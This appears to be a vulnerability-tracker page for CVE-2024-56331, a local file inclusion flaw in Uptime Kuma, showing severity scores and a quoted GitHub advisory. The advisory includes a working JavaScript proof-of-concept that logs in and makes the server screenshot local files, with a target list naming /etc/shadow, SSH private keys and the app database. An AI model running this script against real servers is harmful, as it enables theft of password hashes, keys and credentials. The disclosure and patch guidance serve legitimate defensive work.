CVE-2024-56331

mediumpriority · track · 11EPSS 0.018 · 79 %ileexploit · PoCEUUS
grimoire priorityP1 · Urgent
Exploitable?
Public exploit
1 exploit · PoC
Likely / severe?
1.85% (79th) EPSS
CVSS 6.8 · medium
Is it mine?
4 products
Check your exposure
Who says so?
3 sources
cnnvd · enisa_euvd · osv

EPSS · scored 2026-10-28

Uptime Kuma is an open source, self-hosted monitoring tool. An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **"real-browser"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. This vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content. Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. Any **authenticated user** who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files. This issue has been addressed in version 1.23.16 and all users are advised to upgrade. There are no known workarounds for this vulnerability.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.8
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.8mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.16.8mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:Nsecondary · security-advisories@github.comexploitability 2.3 · impact 4
v3.16.8mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:Nsecondary · OSV
v3.16.4mediumCVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N/E:Psecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

exploits (1)

Public proof-of-concept and weaponised exploit code.

05

affected products (4)

Products and version ranges known to be affected.

06

advisories (1)

Vendor and ecosystem advisories describing this.

  • GHSA-2qgm-m29m-cj2huptime-kuma vulnerable to Local File Inclusion (LFI) via Improper URL Handling in `Real-Browser` monitor2024-12-20ghsa · osvUS

    ### Summary An **Improper URL Handling Vulnerability** allows an attacker to access sensitive local files on the server by exploiting the `file:///` protocol. This vulnerability is triggered via the **"real-browser"** request type, which takes a screenshot of the URL provided by the attacker. By supplying local file paths, such as `file:///etc/passwd`, an attacker can read sensitive data from the server. ### Details The vulnerability arises because the system does not properly validate or sanitize the user input for the URL field. Specifically: 1. The URL input (`<input data-v-5f5c86d7="" id="url" type="url" class="form-control" pattern="https?://.+" required="">`) allows users to input arbitrary file paths, including those using the `file:///` protocol, without server-side validation. 2. The server then uses the user-provided URL to make a request, passing it to a browser instance that performs the "real-browser" request, which takes a screenshot of the content at the given URL. If a local file path is entered (e.g., `file:///etc/passwd`), the browser fetches and captures the file’s content. ```javascript const browser = await getBrowser(); const context = await browser.newContext(); const page = await context.newPage(); const res = await page.goto(monitor.url, { waitUntil: "networkidle", timeout: monitor.interval * 1000 * 0.8, }); let filename = jwt.sign(monitor.id, server.jwtSecret) + ".png"; await page.screenshot({ path: path.join(Database.screenshotDir, filename), }); await context.close(); ``` Since the user input is not validated, an attacker can manipulate the URL to request local files (e.g., `file:///etc/passwd`), and the system will capture a screenshot of the file's content, potentially exposing sensitive data. ### PoC 1. **Instructions**: - Enter a local file path as the URL, such as: `view-source:file:///etc/passwd`. - The server will process the URL and, in "real-browser" mode, capture a screenshot of the file content. Example PoC: 1. Log in to the application with valid credentials: ```javascript const { io } = require("socket.io-client"); // Server configuration and credentials const CONFIG = { serverUrl: "ws://localhost:3001", credentials: { username: "admin", password: "password1" }, requestType: { REAL_BROWSER: "real-browser", HTTP: "http" }, urlHeader: { VIEW_SOURCE: "view-source:file:///", FILE: "file:///" } }; // List of sensitive files on a Linux system const SENSITIVE_FILES = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/hostname", "/etc/network/interfaces", // May vary depending on the distribution "/etc/ssh/ssh_config", "/etc/ssh/sshd_config", "~/.ssh/authorized_keys", "~/.ssh/id_rsa", "/etc/ssl/private/*.key", "/etc/ssl/certs/*.crt", "/app/data/kuma.db", // Uptime Kuma database file "/app/data/config.json" // Uptime Kuma configuration file ]; // Function to send a request and wait for the response function sendRequest(socket, filePath, type) { return new Promise((resolve, reject) => { fileUrl = CONFIG.urlHeader.VIEW_SOURCE + filePath; if (type == CONFIG.requestType.HTTP) { fileUrl = CONFIG.urlHeader.FILE + filePath; } socket.emit("add", { type: type, name: type + " " + filePath, url: fileUrl, method: "GET", maxretries: 0, timeout: 500, notificationIDList: {}, ignoreTls: true, upsideDown: false, accepted_statuscodes: ["200-299"] }, (res) => { console.log(`Response for file ${filePath}:`, res); resolve(); }); }); } // Main function for connecting and sending the 'add' request (async () => { const socket = io(CONFIG.serverUrl); // Handle connection errors socket.on("connect_error", (err) => { console.error("Connection failed:", err.message); }); try { // Connecting with credentials await new Promise((resolve, reject) => { socket.emit("login", { username: CONFIG.credentials.username, password: CONFIG.credentials.password, token: "" }, (res) => { if (res.ok) { console.log("Connection successful"); resolve(); } else { console.log(res); reject(new Error("Connection failed")); } }); }); // Sending requests for each file using Promise.all to ensure synchronization const realBrowserRequests = SENSITIVE_FILES.map(filePath => sendRequest(socket, filePath, CONFIG.requestType.REAL_BROWSER)); // Wait for all requests to be sent await Promise.all([...realBrowserRequests]); // Close the socket after all requests have been sent socket.close(); console.log("Connection closed after all requests."); } catch (error) { console.error("Error:", error.message); socket.close(); } })(); ``` ### Impact This vulnerability is a **Local File Inclusion (LFI)** issue, which allows an attacker to access and potentially exfiltrate sensitive files from the server. The impact is significant, as attackers can access critical system files or application configuration files, such as: - `/etc/passwd`: Contains user account information. - `/etc/shadow`: Contains password hashes. - `/app/data/kuma.db`: Contains the database for the Uptime Kuma monitoring tool. - `/app/data/config.json`: Contains the database credentials for Uptime Kuma. Any **authenticated user** who can submit a URL in "real-browser" mode is at risk of exposing sensitive data through screenshots of these files.

07

also known as (3)

Other names and identifiers for this entity.

08

sources

Which sources assert this record, and when.

published 2024-12-20modified 2026-06-17
09

references (8)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan